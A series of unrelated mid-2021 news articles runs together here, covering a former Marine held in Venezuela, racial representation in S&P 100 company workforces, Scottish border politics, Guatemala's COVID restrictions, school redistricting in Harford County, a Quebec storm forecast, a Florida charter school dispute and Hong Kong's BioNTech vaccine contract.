Matthew Heath, the former Marine captured in Venezuela in September 2020 and held on terrorism charges, refused this week to attend his trial in protest of his prison conditions.

Heath was scheduled to have a hearing to continue his case on Tuesday, but refused to attend, putting a wrench in efforts by the government to prosecute him. With limited access to lawyers and family, he has been held in near isolation and this week used what little leverage he has to try to force the hand of Venezuelas government.

Matthew protesting in this way tells us that he is desperate and concerned for his own well-being, said Trudy Rutherford, Heaths aunt. The judge approved Matthews appeal to move to a safer prison two weeks ago and it has not happened. This says something about their respect for the rule of law as well as human rights.

An adviser to Heaths family added, This is the only way that he can make his concerns known, by refusing to come to court.

The order at issue came down late last month for Heath, who on July 8 turned 40 in jail, directing that he be transferred to the La Planta prison in Caracas, the nations capital. That facility had previously been shut down but was reopened recently to hold non-Venezuelan prisoners.

The prison near the El Paraiso neighborhood is a minimum security installation that allows the inmates to have more interaction with friends, family and other inmates.

It is a prison where he would have access to fresh air, to sunlight. He would have access to a yard. So he would have the right to get sunlight, said Tamara Suju, a lawyer and human rights activist who forms part of Heaths defense team. All of this is very different from where he has been held, which is a third-level basement of a building turned into a maximum security prison.

Since his capture last Sept. 10, Heath has been held at the notorious DGCIM Boleita headquarters, run by the regimes feared military intelligence unit. His legal team said he is being held in a tiny cell that measures just 6.5 feet by 6.5 feet and hes locked behind heavy security doors.

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There are just a few prisoners held at the DGCIM.

The Tennessee native hopes to be better treated in the new prison, which is run by guards of the Interior and Justice Ministry instead of DGCIM guards, who are part of the military intelligence apparatus. In the new prison he might have the opportunity to interact with other foreign-born prisoners, potentially other Americans.

The Miami Herald and el Nuevo Herald reported last month that Heaths family feels he was either kidnapped or became a victim of an extortion scheme from March 2020 to just before his arrest by someone in Colombia, where hed been briefly detained for having ammunition on him but no gun.

Heaths arrest came four months after a botched coup in May 2020 launched from Colombia and led in part by a Florida company called Silvercorp USA, a coup that later was believed quashed with the help of infiltrators. It resulted in the death of six Venezuelan would-be liberators and the arrest of two former Green Berets, now sentenced to 20 years in prison in Venezuela.

In court testimony earlier this year, Heath and his lawyer Guillermo Heredia told of torture after his capture at a checkpoint in the lawless border area between Colombia and Venezuela called La Guajira. The legal team and his family claim he was subjected to electric shocks, was beaten and had a plastic bag over his head to make him think hed be suffocated. A complaint alleging this was also filed with the United Nations.

Venezuela depicted the Americans arrest as related to terrorism . The government even claimed it had disrupted a covert destabilization operation to blow up power plants and oil facilities.

However, Heaths legal team has argued that the allegations on national TV came several days after his detention. A police report and photos taken during Heaths arrest, and shown during a local news conference announcing it, make no mention of nor provide evidence of heavy weapons the government said days later it had seized, defense lawyers said.
Black and Hispanic talent is missing at the top and concentrated at the bottom of the top U.S. companies.

At Americas largest and most powerful companies, 1 in every 97 white workers is an executive.

Only 1 in every 443 Black or Hispanic workers holds a top job.

USA TODAY gathered previously undisclosed hiring records from dozens of firms in the Standard & Poors 100, a group of the most highly valued companies in the stock market.

The data shows that more than a year after George Floyds murder spurred corporate pledges for change, deep racial inequalities persist at every level of these companies, creating sharply disparate outcomes for people of color, especially women of color.

Black and Hispanic workers are underrepresented in the highest-paying and most influential positions as well as in the ranks of professionals, such as lawyers and accountants.

At the lower levels of organizations, they are concentrated  and often overrepresented  in roles including administrative assistants, technicians and laborers.

Not only were the companies USA TODAY examined largely white and male, they were often less diverse than others in their industries and the U.S. labor force as a whole, putting them out of step with the people and the country they serve.

Ursula Burns

Diversity advocate Ursula Burns said the USA TODAY analysis reveals how much progress is needed to reverse patterns of exclusion that limit job opportunities, career advancement and wealth generation nearly six decades after President Lyndon Johnson signed the Civil Rights Act.

We are fundamentally a racist and sexist society. The reason why we have these issues is that Blacks, Hispanics and women are still considered and treated like underclass citizens and chattel, Burns, the former CEO of Xerox and the first Black female CEO of a Fortune 500 company, told USA TODAY.

A record 54 companies including Target, Apple and Ford gave USA TODAY workforce data

The USA TODAY analysis compares census estimates of workforce demographics with company records. It is the most extensive review of the gaping inequalities in corporate America.

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USA TODAY asked every company in the S&P 100 to voluntarily disclose its most recent EEO-1 form, the annual reports submitted to the federal government that detail employee counts by race, ethnicity and gender in 10 job categories.

Federal officials will not release those records to the public without companies permission, citing privacy protections in the Civil Rights Act. A civil suit filed by Reveal, a nonprofit investigative journalism outlet, challenges the legality of hiding these records from the public.

The majority of companies, including Target, Apple, Visa, Chevron, Ford Motor, Procter & Gamble and PayPal, voluntarily shared that data in an unprecedented showing of transparency.

USA TODAY obtained records from 54 companies and pledges from 23 more to publicly release the data. Those 23 companies include Amazon, AT&T, Boeing, Comcast, General Motors, Home Depot, Johnson & Johnson, Pfizer, Walmart and United Parcel Service.

"If we want to fix a problem, we need to measure it and then we need to report out on it," PayPal CEO Dan Schulman said in an interview. "The more transparent we can be as a company, the more we can fix issues and the more we can inspire others to do the same."

USA TODAY reporters asked the news networks parent company Gannett, which is not part of the S&P 100, for its EEO-1 filing. Gannett, the largest newspaper company in America with about one of every six papers, said it would publicly release its EEO-1 for the first time in 2022.

Darren Walker, president of the philanthropic Ford Foundation and a diversity advocate, said the increased transparency was a first step and an encouraging step after public statements of support for the rights of Black people during last summers social unrest.

I think shareholders and stakeholders of public companies have a right to this information, and I believe this information is valuable data because it will also give you some sense of accountability of these public statements, Walker said.

Ford foundation president Darren Walker

For those companies holding out, the reasons vary. Many are reluctant to disclose EEO-1 data for fear of being cast in a negative light. They contend that the annual diversity reports they publish better reflect their workforce than the data collected by the federal government.

Exxon Mobil, FedEx, Walgreens Boots Alliance and T-Mobile were among the companies that refused to provide their EEO-1 filings to USA TODAY.

There has been an unprecedented consciousness raising that came out of the killing of George Floyd, Walker said. I dont think there is any CEO in America who can consider himself or herself an excellent leader of a public company without diversity.

Racial inequalities persist in hiring, pay and promotions

After Floyd drew his final breath under the knee of a white police officer in Minneapolis, hundreds of companies issued statements condemning discrimination and pledging to play a bigger role in battling systemic racism.

For decades, corporations have perpetuated racial inequalities in hiring, pay and promotion that directly contribute to the wealth gap that has widened over the past decade, said Valerie Rawlston Wilson, a labor economist who runs the Program on Race, Ethnicity and the Economy at the independent nonprofit Economic Policy Institute.

The typical white family has eight times the wealth of the typical Black family and five times the wealth of the typical Hispanic family, according to the Federal Reserve.

Black workers are especially underrepresented in industries and occupations with the fastest growth in pay.

Valerie Rawlston Wilson, a labor economist, runs the Program on Race, Ethnicity and the Economy at the independent nonprofit Economic Policy Institute.

The Conference Board, a private research group, found that Black men with bachelors degrees earned 24% less than white men with those degrees in 2019, up from 18% in 2010. For Black women, the gap in wages with white men was even greater at 26%, also much worse than in 2010.

The coronavirus put the economic fallout from occupational segregation into even sharper relief as people of color were among the hardest hit by the pandemic.

More white people hold leadership, management and professional roles that come with higher pay, better benefits and more flexibility, helping them maintain health and economic security by virtue of being in a certain kind of job, Wilson said.

Workers who interact with customers face-to-face or crowd into warehouses are disproportionately women, Black and Hispanic. They were more at risk of losing their jobs during the pandemic, often because of health or child care issues.

Among the 54 S&P companies surveyed by USA TODAY, 1 in 15 Black or Hispanic workers held management jobs compared with 1 in 7 white workers.

About 1 in 4 white workers held a professional position compared with just 1 in 9 Black or Hispanic workers. Again, the gap was worse at the surveyed corporations than the nations overall workforce.

These kinds of occupations come with benefits that have ripple effects to ones broader economic well-being and the well-being of your family and your community, Wilson said.

At most of the companies, 81% of Black and Hispanic workers are in lower-level labor and operations jobs, compared with 60% of white employees.

Top corporations have a plantation hierarchy

Diversity consultant John Graham calls it the plantation effect.

The hierarchies of corporations, he said, echo the strictures of Jim Crow discrimination and white people  mostly men  call the shots.

The model hasnt changed much. The facades have, said Graham, author of Plantation Theory: The Black Professional's Struggle Between Freedom & Security.

John Graham wrote Plantation Theory: The Black Professional's Struggle Between Freedom & Security.

USA TODAY found that at the top of the S&P 100 companies surveyed, gaps for people of color were double or triple those in the U.S. workforce as a whole. The lack of executive-level representation is even starker for women of color.

John Graham's Plantation Theory: The Black Professional's Struggle Between Freedom & Security

Non-Hispanic white people make up 64% of the U.S. workforce yet are 78% of S&P 100 executives. White men, who comprise about one-third of the workforce, occupy more than half  55%  of the jobs at the top.

By contrast, Black people, who make up 11% of the U.S. workforce, are just 4% of leadership ranks in the S&P 100 group surveyed. Black women are among the least represented at just 1.7% of all U.S. executives.

Take Ford in 2020. Nearly a quarter of its employees are Black, which is a greater share than at any other of the S&P 100 companies analyzed by USA TODAY and about twice the rate of the U.S. workforce. Yet only 7% of executives and 10% of managers at Ford are Black.

For Ford to reach parity at the top with its overall workforce, it would have to add 75 Black executives to the existing 24 Black company leaders. It also would have to hire 1,500 new Black managers, which is almost twice as many as are currently in those roles.

These patterns exist in newer industries, too.

In 2020 at NVIDIA, a graphics processing chip manufacturer thats one of the top companies by market capitalization in the S&P 100, Black people account for just 1% of the entire workforce, the lowest among the firms surveyed by USA TODAY. The management and professional ranks of the chipmaker are also 1% Black, and its senior leadership is less than 1% Black.

We are purposefully creating opportunities to increase the Black population, and all underrepresented groups, at every level of our company, NVIDIA said in a statement to USA TODAY.

In 2016, 93% of Amazons 105 top executives were white, making it the company with the highest percentage of white people in those top jobs among the S&P 100 companies USA TODAY surveyed.

More than three-quarters of the Amazon executives  78%  were men, according to most recent federal data Amazon has released publicly.

The company declined to provide more recent EEO-1 data, but USA TODAY reviewed company leadership using an internal Amazon staff directory.

Not a single Black executive reported directly to CEO Jeff Bezos, who stepped down July 5, and little more than a handful sit on the teams of his direct reports, according to the review. Bezos successor, Andy Jassy, has no direct reports who are Black.

Amazon told USA TODAY it doubled the number of Black directors and vice presidents last year and has similar goals for 2021, focusing on increasing the number of Black women in midlevel and higher corporate roles.

Diversity is fast becoming a business must

Lowe's is one of the few S&P 100 corporations led by a Black CEO, Marvin Ellison. Nearly 14% of top executives, 10% of managers and 11% of professionals at the national home improvement chain he runs are Black, according to 2020 EEO-1 data the company provided to USA TODAY. Nearly 16% of the Lowe's workforce is Black.

Marvin Ellison is CEO of Lowe's.

Hispanic representation isn't as high. About 9% of managers and 5% of professionals but none of Lowe's top executives are Hispanic, though nearly 13% of the workforce is.

Nearly 80% of top executives are white and 75% are men. Ellison told USA TODAY that when he joined Lowe's three years ago, the management team was even less diverse.

Today, he said, "we have representation in the room that represents the diverse thoughts and buying habits of the people we are trying to serve."

As the nation gets less white and more racially diverse and companies scramble to serve a changing market, having a diverse workforce is fast becoming a business imperative.

People gather at George Floyd Square in Minneapolis.

Black spending power is on track to reach $1.8 trillion by 2024, and the buying power of the U.S. Hispanic population is expected to top $2.3 trillion by 2025, according to Nielsen research.

Sen. Bob Menendez, D-N.J., introduced a bill that would require companies to reveal the ethnic and gender diversity and the veteran status of their boards of directors and executives. He said corporate America should embrace diversity not because its a philanthropic thing to do, but because its about creating market share."

Diversity leads to innovation, Sen. Bob Menendez, D-N.J., says.

Despite decades of research findings, it took the Me Too movements shattering revelations of harassment and abuse of women to kickstart support for greater gender diversity.

Then came the thunderclap that shook the nation: Floyds murder on May 25, 2020. The subsequent outpouring from the nation's largest companies ended decades of corporate silence on anti-Black racism and police killings.

My father always says that change comes about when what has been perceived as a misfortune is perceived as an injustice, said Nell Minow, vice chair of ValueEdge Advisors, a consulting firm specializing in corporate governance issues. We have reached that tipping point. This is now a market response to the perception of market risk.

Nell Minow is vice chair of ValueEdge Advisors, a consulting firm specializing in corporate governance issues.

How Americas top companies are trying to hire and keep Black and Hispanic talent

With that risk in mind, corporations are making moves to diversify cubicles and corner offices.

White people hold 74% of executive slots, 67% of management positions and 56% of all other jobs at Coca-Cola, which is headquartered in majority-Black Atlanta. The company, which paid $192.5 million in 2000 to settle allegations it routinely discriminated against Black employees in pay and promotions, said it aims to have its workforce mirror U.S. census data for race by 2030.

Just to achieve parity with the U.S. workforce at the executive level for one racial group, Coca-Cola would have to hire 21 Black executives, an increase of 51%. Reaching equitable representation for Hispanics would require hiring 35 executives, increasing their ranks at the companys top level by 64%, USA TODAY found.

About 77% of executives at rival Pepsi and 71% of managers are white. The company based in Purchase, New York, said it would add 28 Black associates to its executive ranks, and it plans to spend $400 million over five years to "help create equal opportunities for Black Americans." Adding that many Black executives would bring the company into parity with the U.S. workforce.

As the banking industry comes under growing pressure to fix the racial wealth gap its business practices helped create, the nations largest bank, JPMorgan Chase, committed $30 billion to help promote racial equity, including a pledge to underwrite home loans for Black and Hispanic borrowers.

It announced plans to hire 300 more Black and Hispanic wealth advisers by 2025. White people hold 79% of executive positions and 58% of management roles.

McDonalds, which has wrestled with allegations of racial discrimination for years, ties 15% of executive bonuses to meeting targets including diversity and inclusion. It is working to increase the number of people of color in its U.S. management ranks by 2025 and reach gender parity in senior roles by 2030. The companys latest EEO-1 shows that 62% of workers but only 31% of executives are women. Though most women workers are nonwhite, 21 of the 28 female executives are white.

Medtronic may not be a household name like McDonalds, but the Fridley, Minnesota-based firm is one of the worlds largest medical device makers. It says its working to diversify its workforce, including midlevel managers, and has made diversity goals part of annual management reviews.

Over the past five years, it has doubled the representation of Black employees at the vice president level and increased the overall ethnic diversity of managers, according to Sally Saba, the companys chief inclusion and diversity officer. Eighty percent of Medtronics executives, 76% of managers and 63% of all other workers are white, according to the companys EEO-1 data.

Duke Energy, a power and natural gas holding company based in Charlotte, North Carolina, has the highest percentage (87%) of white people in management among all the companies that released data to USA TODAY. At the top of the company, 82% of Duke executives are white, the 12th-highest of the companies that released data.

Joni Davis, vice president of diversity and inclusion and chief of staff at Duke Energy, said her company is committed to changing those figures, and she said Floyd's death was an "accelerant" to have "courageous conversations" among employees to change the culture at Duke Energy.

The meritocracy myth and other problems stalling efforts

Scholars said part of the problem is the misguided belief that corporations are run as meritocracies that give everyone an equal shot on the basis of their abilities.

Meritocracy is a convenient excuse for not doing the recruiting and retention work it would take to diversify, said Victor Ray, assistant professor of sociology and African American studies at the University of Iowa. Meritocracy itself is a racialized idea.

Victor Ray is an assistant professor of sociology and African American studies at the University of Iowa.

Companies often blame the lack of diversity on too few qualified candidates, not on the barriers to employment that researchers identified such as hiring from insular networks and workplace cultures that make people of color feel excluded.

According to Adia Harvey Wingfield, a sociology professor at Washington University in St. Louis, research shows that when companies cling to these beliefs, "they are more likely to miss the ways their internal practices reproduce unequal outcomes along racial and gendered lines."

"Sometimes these inequalities happen as a result of hiring discrimination. Other times they occur through cultural dynamics that marginalize workers of color. Many companies also rely on measures that do not work, such as diversity trainings that have been shown to foster resentment without necessarily boosting the numbers of underrepresented workers," Wingfield said. "Ultimately, the data suggest that these arent pipeline problems  they are organizational ones that leave qualified Black and brown workers overlooked and excluded from leadership roles."

Adia Harvey Wingfield is a sociology professor at Washington University in St. Louis.

Only by removing bias can companies begin to identify the full range of candidates who have the talent and skill to succeed, said Charlice Hurst, an assistant professor of organizational behavior at the University of Notre Dame Mendoza College of Business.

There are many excellent Black managers and senior managers languishing in professional and managerial positions," she said. "Often, they lack the networks and mentorship that tend to be crucial for making the leap to the next level.

Charlice Hurst is an assistant professor of organizational behavior at the University of Notre Dame Mendoza College of Business.

Even when corporations hire Black and Hispanic workers, unequal pay and lack of promotions, microaggressions and feelings of isolation drive high rates of alienation and attrition, researchers say.

The Ford Foundations Walker said the problems in corporate America are systemic, so the solutions must be, too: Corporations should scrutinize their practices not just in the area of hiring but also in retention, promotions and workplace culture.

That is where we lose minority talent, he said. They are recruited with great promise, and then something happens when they come to a company.

Oscar Veneszee, a decorated 23-year Navy veteran, joined Facebook in 2017 to recruit fellow military veterans and individuals from underrepresented groups. He said hes been denied promotions that would have earned him higher pay, and Black job candidates he personally referred to the company were not hired.

If youve got one leg tied and two hands tied behind your back and you get into the company, but then you are rated as mediocre, that doesnt sit well with me, said Veneszee, who is Black. You must be hiring the best that my community has to offer, and then youre telling me the best my community has to offer is average at your company, when they are not average anywhere else in the world.

Oscar Veneszee sued Facebook for alleged discrimination.

Floyds death woke up every responsibility I have, said Veneszee, who still works for the company. He ran for county commissioner where he lives in Florida, and he sued Facebook, alleging discrimination and a culture of bias in evaluations and promotions.

Based on his complaint and others, the Equal Employment Opportunity Commission is conducting a systemic probe into Facebook's hiring practices.

"I am simply asking Facebook to properly evaluate how they value Black people and the work we bring to the table," said Veneszee.

It is in our interest for it to be a place where everyone can do their best work, said Facebook diversity chief Maxine Williams.

Facebook's diversity chief Maxine Williams declined to comment on the lawsuit and on the probe.

It is in our interest for it to be a place where everyone can do their best work, she said of Facebook.

Burns, who sits on the boards of Exxon, Uber and MIT, fields calls from corporations every day as she fights for racial equity in the corner office and the boardroom.

"I get tired of talking about it, but I will not stop," she said. "We are willing to help if they want us to help them, but I am not going to spend my time trying to convince corporations that this is a good thing to do. If shareholders, consumers and governments continue to allow them to operate this way, we get what we deserve.

Contributing: Kelly Tyko

Have a tip? Reach Jessica Guynn at jguynn@usatoday.com or on Twitter @jguynn, Jayme Fraser at jfraser@gannett.com or on Twitter @jaymekfraser, Craig Harris at craig.harris@usatoday.com or 602-509-3613 or on Twitter @CraigHarrisUSAT and Dian Zhang at DZhang@gannett.com or on Twitter @dian_zhang_

More in this series

How we did it

Every year, companies send the U.S. Equal Employment Opportunity Commission a one-page form called an EEO-1, counting workers by race, ethnicity and gender in 10 occupation categories. The U.S. Census Bureau also produces a summary of the American workforce that uses the same industry, occupation, race and ethnicity definitions as the EEO-1. USA TODAY compared how well represented Black and Hispanic people were at these companies versus the overall labor force. For some stories, we zoomed in on Census statistics for an industry associated with companies for which we had data: five companies in tech, six banks and seven food or retail corporations. We also reviewed corporation websites for racial and gender identities of board members, confirming with company officials as needed. Explore our database of EEO-1 employment records.

This article originally appeared on USA TODAY: New data shows how white top companies are despite diversity pledges
Scottish border - Phil Wilkinson for The Telegraph

An independent Scotland that is part of the European Union will need to build a "great wall of Gretna" at the English border, the UK immigration minister has warned.

Kevin Foster said a separate Scotland that was part of the Schengen scheme, which permits free travel without passport checks between European nations, would necessitate the construction of a hard border with England.

Speaking on a visit to Scotland, the Home Office minister challenged Nicola Sturgeon's party to "start being upfront about the impact of some of their policies".

Ms Sturgeon floundered during the election when pressed why a separate Scotland would be the only part of the EU not to have a hard border with a neighbouring country that was not part of the bloc.

Around 60 per cent of Scottish exports go to the rest of the UK  more than three times the value of those that go to the continent.

Speaking in Linlithgow, West Lothian, Mr Foster said: "If they wanted Scotland to join Schengen, that does mean a hard border, it means building a great wall of Gretna."

He said the SNP should be "getting on with the day job" of dealing with coronavirus and recovery from the pandemic rather than "debating the philosophical future" of the country with another independence referendum.

Mr Foster also dismissed the Scottish Government's calls for more powers over immigration to be devolved to Holyrood.

He said: "We're very clear that we need to have a migration system that works for the whole of the United Kingdom.

"What I am not interested in doing is creating passport control at Berwick. The UK operates as a single market despite the SNP's thoughts on this."

An SNP spokesman said: "People in Scotland are fed up with Tory ministers coming here on day trips spouting nonsense as part of their anti-democratic campaign to tighten Westminster control over Scotland.

"Just like Ireland, people in an independent Scotland as part of the EU would have the huge advantage of being able to move freely across the British Isles as well as the EU - instead of being subject to Boris Johnson's disastrous hard Brexit."
By Sofia Menchu

GUATEMALA CITY (Reuters) - The Guatemalan government declared on Tuesday a "state of prevention" for the entire country, limiting outdoor meetings and public demonstrations, after a dramatic spike in the number of COVID-19 cases last week.

Mass events were suspended for several months during the start of the epidemic to avoid crowds, but restrictions had eased since September as the impoverished Central American nation began to reopen its economy.

Guatemala reported 3,000 new infections of COVID-19 last Thursday, its highest number of infections in a single day.

So far, Guatemala has recorded 322,120 cases and 9,756 deaths. Only 5.1% of its population has received at least one dose of the vaccines that are available in the country.

(Reporting by Sofia Menchu in Guatemala City; Writing by Stefanie Eschenbacher; editing by Richard Pullin)
Jul. 13Dozens of speakers spent most of first in-person Harford County Board of Education meeting in more than a year telling members how much they strongly oppose a redistricting proposal.

An increase in enrollment and overcrowded buildings over the past five years has led the school system to conduct a system-wide school boundary review. The system contracted FLO Analytics to develop maps with new boundaries in the attendance areas of local elementary, middle and high schools. The changes are meant to relieve overcrowding in schools that are above enrollment capacity and shift more students and resources to under-capacity schools.

However, feedback from the community show they see it as a problem.

Community members utilized both in-person and virtual public comment portion of the meeting to voice their concerns about balancing enrollment. Monday's meeting was the first time the public was welcomed to attend a school board meeting in-person since the COVID-19 pandemic took hold in March 2020.

Before public comment started, board member Sonja Karwacki said the system has received many emails regarding redistricting.

"This is not a done deal," she said. "The board has not seen a final draft of anything. And we have not made a decision, nor will we, until early next year."

Karwacki said the public can put their minds at ease knowing they are still early in the process. However, about 40 speakers talked about redistricting that night.

Those opposing redistricting plans largely cited bus rides extending longer than 35 minutes, students forced to attend schools without their friends and the danger of buses having to cross "deadly intersections."

One of the speakers was County Councilmember Robert Wagner. Wagner, who said he was speaking for himself and not on behalf of the council, said there doesn't seem to be a simple solution. However, they should not be this far into it if no suggestion seems to work.

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"And you shouldn't be busing students past schools that are closer by," he said.

Speakers were often in opposition of the proposal to move the MHS13 area, a northern chunk of the Fallston Middle and High schools zone, to the North Harford Middle and High schools zone. An MH8 zone, which consists of students who attend C. Milton Wright High and Southampton Middle schools, as well as MHS11, an area of Havre De Grace middle and high schools students, were also proposed to move to North Harford middle and high schools.

Brian Roberts, one of the in-person speakers from the MHS13 area, said that best solution is the one that impacts the least amount of students. He suggested the MH7 group, which has Bel Air Middle and High school students, be sent to North Harford schools, assuming that would impact less students, instead of the Fallston schools the proposal suggested.

"Not a single parent is speaking for it," Raj Bhat, who lives in a MH6 neighborhood currently zoned for Bel Air schools, said about the proposal. He asked if Bel Air Middle is the school that's overcrowded then to focus on them and not 12 other districts.

Superintendent Sean Bulson said the plan at the moment affects less than 7% of elementary students and about 6% of secondary students.

"The goal is to decrease those percentages," he said. "I'm not sure how that will shake out."

The first step of this process was the initiation where data was gathered and stakeholder guiding principle were considered. That took place in October through December. The second step was the assessment between January and June. It involved the advisory committee's review, community surveys and forums, and the staff's recommendation to the superintendent.

The advisory committee completed its work and made its recommendations to the superintendent June 23, according to the section of the school system's website on the balancing enrollment process.

The third and next step is community hearings conducted by the superintendent. After those hearings, the superintendent will make his recommendations to the school board, expected to happen sometime in October. After that, the fourth step will begin, when the Board of Education will hold public hearings with a target date of February to vote on their decisions.

Cornell Brown, assistant superintendent for operations, said locations for forums to hear their input will be announced later. He added the public will have plenty of time to engage and give input.
Heat and humidity to fuel severe storm threat in Quebec on Wednesday

The summer-like pattern blanketing eastern Canada isnt going anywhere in a hurry. Warm and humid air will provide the energy necessary to fuel a risk for thunderstorms over a large swath of Quebec on Wednesday. Some of the storms in southern Quebec could turn severe, bringing the risk for torrential rainfall, strong wind gusts, and small hail. More on the severe threat and what to expect this weekend, below.

WEDNESDAY: SEVERE STORMS POSSIBLE IN SOUTHERN QUEBEC

Warm and humid with a chance for stormsits a pattern were familiar with by this point. But familiarity doesnt make the hazards of a rowdy afternoon thunderstorm any less serious.

JULY 14 2021 AM QC WED SEVERE RISK

A surface trough moving over the northeastern United States will jut into southern Quebec during the day on Wednesday, providing the lift and trigger for thunderstorms to develop in the unstable air parked over the region.

Any thunderstorms that form in eastern Ontario and southern Quebec could reach severe levels, posing a risk for small hail, strong wind gusts, and torrential rainfall. This threat includes Ottawa, Gatineau, Montreal, and Quebec City.

JULY 14 2021 AM QC WED TEMPS

A quick look at humidex values on Wednesday takes much of the mystery out of whats driving the threat for strong to severe thunderstorms. Southwesterly winds wrapping around a Bermuda High over the western Atlantic Ocean continue to stream warm and muggy air over eastern Canada.

Daytime highs will reach the upper 20s across southern Quebec, with humidex values potentially reaching the mid 30s during the heat of the afternoon.

THURSDAY: SEVERE THREAT DIMINISHES, BUT THUNDER STILL POSSIBLE

The surface trough responsible for bringing thunderstorms to severe limits on Wednesday will move off to the east on Thursday, removing the triggering mechanism that would help thunderstorms reach their full potential.

JULY 14 2021 AM EAST THU SEVERE RISK

The heat and humidity could still give rise to a chance for run-of-the-mill thunderstorms across Quebec, but we shouldnt see a widespread risk for severe weather like we saw on Wednesday.

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Thursday looks to be our warmest day, with daytime highs approaching 30C in southern Quebec and humidex values creeping into the upper 30s across most of the area.

THIS WEEKEND: TEMPS FALL BACK A BIT, BUT HUMIDITY AND RAIN LINGER

A centre of low pressure moving over the Great Lakes will bring our next chance for active weather across southern Quebec. The low will push into northern Ontario on Thursday and reach interior Quebec by Friday.

JULY 14 2021 AM QC TEMPS SATURDAY

The cold front stretching off this low will slowly move into southern Ontario and southern Quebec by the end of the week, bringing a chance for showers and thunderstorms on Friday and Saturday.

Along with the chance for precipitation, the boundary will knock temperatures back toward seasonal for the weekend and into next week. However, stubborn humidity levels will still make it feel like the low- to mid-30s across the area.

Be sure to check back for the latest on the severe threat in Quebec.
Florida education commissioner Richard Corcoran held firm Wednesday to his position that the Hillsborough County School Board broke state law when it moved last month to close four charter schools, affecting more than 2,000 students.

And the State Board of Education, meeting in Seminole, backed him up.

The Hillsborough board will now meet in an emergency session Tuesday and might reconsider the four votes it took on June 15 against renewing the schools charters.

The four schools  Woodmont and SouthShore, both managed by Charter Schools USA, along with Pivot and Kids Community College High School  have filed appeals with the state, attorneys for the school district said.

Charter schools are funded by the state but managed independently of local districts. In Hillsborough, they attract some 30,000 students, bringing in about $250 million every year that would otherwise go to the school district.

Should the nonrenewal decisions stand, Corcoran has put the district on notice that he can invoke the states oversight and enforcement authority. In that process, Hillsborough faces sanctions that could include a dramatic loss of funding in a system already stretched thin by budget cuts.

Until Wednesday, the dispute about the four schools had played out between the district and Corcoran.

The meeting, packed with speakers on both sides of the issue, gave State Board members a chance to weigh in.

During an earlier discussion about Hillsboroughs budget problems, State Board member Tom Grady asked Hillsborough board chair Lynn Gray if the board was prepared to spend scarce funds on the legal cost of defending the charter school closings.

Gray said she could not answer, at the direction of attorneys. She then argued that charter schools are not held to the same regulatory standards as district-run schools  a point Corcoran later disputed  and said that without the rapid proliferation of charter schools, Hillsboroughs financial problems would be far less severe.

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Grady called that answer totally nonresponsive.

State Board member Ben Gibson asked Hillsborough superintendent Addison Davis if he had anticipated the School Boards actions when he recommended renewing all four contracts.

Every agenda item I bring to the board, I anticipate it passing, Davis answered.

At one point, Davis tried to get Corcoran to clarify the consequences the district will face if it does not allow the schools to remain open. A letter Corcoran sent in June listed numerous possibilities, most involving the withholding of state and federal funding.

The consequences are just, simply, follow the law. Corcoran said, somewhat exasperated. The simplest thing to do is, follow the law.

Corcoran mused later that weve never gotten to this point because, normally, elected officials follow the law.... This loyalty or bias toward a system and not students is reprehensible. You cannot have those who raise their right hand and swear to uphold the law breaking the law.

Corcoran contends that Hillsborough was legally obligated to notify the four schools of the nonrenewal decisions at least 90 days before the charter contracts expired on June 30. Instead, word came 15 days before the expiration date.

Hillsboroughs attorneys, however, say Corcoran misinterpreted the law. They say he based the 90-day rule on a sample charter contract that was attached to the Florida Administrative Code, and did not take effect until after the four schools had been launched.

Attorneys for the school district want that debate to be resolved in the appeals process, with the schools remaining open until a decision is reached. Corcorans position is that Hillsboroughs action was so disruptive to the students and their families, it should be undone before any more harm occurs.

When Hillsborough School Board Attorney Jim Porter said Corcoran had not given the district due process about Wednesdays board action, Corcoran called that statement offensive and told Porter, Youve had more due process than any person in your situation deserves.

Hillsborough School Board member Jessica Vaughn, meanwhile, wants Davis to take responsibility for not bringing the charter renewals to the board early enough. This is Addisons responsibility, she said after the meeting. He put us in this position.

Davis explained that, historically, the board has always reviewed charter proposals in May and June so they will not disrupt student learning. As for the 90-day legal issue, he said, we hope to resolve this matter with the state amicably.

Speakers lined up in Seminole to argue both sides of the question. Staff and families from the charter schools told the State Board that, without these independent schools, children would be subject to inferior instruction and bullying.

I cannot say enough how much I love my school, said Zoe Sanchez, a rising fourth-grader at SouthShore in Riverview. The teachers care about me, they help me, and they even make me laugh.

Supporters of the Hillsborough boards action included civics teacher Scott Hottenstein. He and others said the state is trying to usurp local control. Do not deprive 220,000 students of funding to support 2,000, he urged the State Board.

Others said that charter schools attract a population that is statistically more affluent and that, because of gaps in their services to students with disabilities, they violate federal civil rights laws.

The School Boards action of June 15, which is unprecedented, happened in a year when Hillsborough also came close to financial insolvency. At one point, Davis said in a recap of the years events, the district expected to end the year with a negative $23 million reserve.

Staffing and other spending cuts enabled the district to reverse that trend. Using federal COVID-19 relief dollars, they were able to end the year with the 3 percent reserve level required by law.

State leaders, however, are not swayed by the argument that charter schools deplete the districts of funding. They say Hillsborough has a poor record where spending is concerned, and several were offended at the idea that the district would cure its budget shortfall by denying families the right to use charters.

Their financial crisis has been going on over 10-plus years, said State Board member Joe York.

Then we find out that the School Board that has been in charge and led to that crisis is now going after charter schools. It just really was a great case of psychological projection. Were not doing our job so look over here. And were going to attack (charter schools) for the very thing that were failing to do ourselves.

York said it was appalling that they could even go forward with what they were trying to do, given their house and the mess that existed there.

Gibson summed the discussion up similarly. We stood up for some charter schools, he said. It was mentioned multiple times that charter schools are public schools. They are not something less. And they are on equal footing. We also stood up for the rule of law.
HONG KONG (Reuters) - Hong Kong's agreement to buy BioNTech COVID-19 vaccines from Chinese sales agent Shanghai Fosun Pharmaceutical Group Co Ltd did not include clauses for Fosun or other third parties to collect personal data, the territory's government said.

Reuters reported this week that Fosun had sent over a template, based on a contract signed with Chinese-run Hong Kong, in talks with two Taiwanese tech firms for the vaccine in which Fosun sought access to Taiwanese medical records.

Those clauses did not end up appearing in the final contract, the sources said.

Fosun is BioNTech SE's sales agent for mainland China, Hong Kong, Macau and Taiwan.

In a statement late on Tuesday, Hong Kong's government said in its contract with Fosun there are no clauses which "empower or enable Fosun or any third party to collect, access, or via any means to obtain or use the personal information of vaccinated individuals".

Hong Kong's government has always attached great importance to personal data privacy, and in the city's vaccination programme there are clear and strict guidelines and procedures for the collection and use of personal information, it added.

Fosun has not responded to requests for comment on the clauses in the template sent to Taiwan.

Fosun signed a deal on Sunday with Taiwan Semiconductor Manufacturing Co Ltd (TSMC), Taiwan contract electronics maker Foxconn and the charity of Foxconn's founder Terry Gou for a total of 10 million vaccine doses.

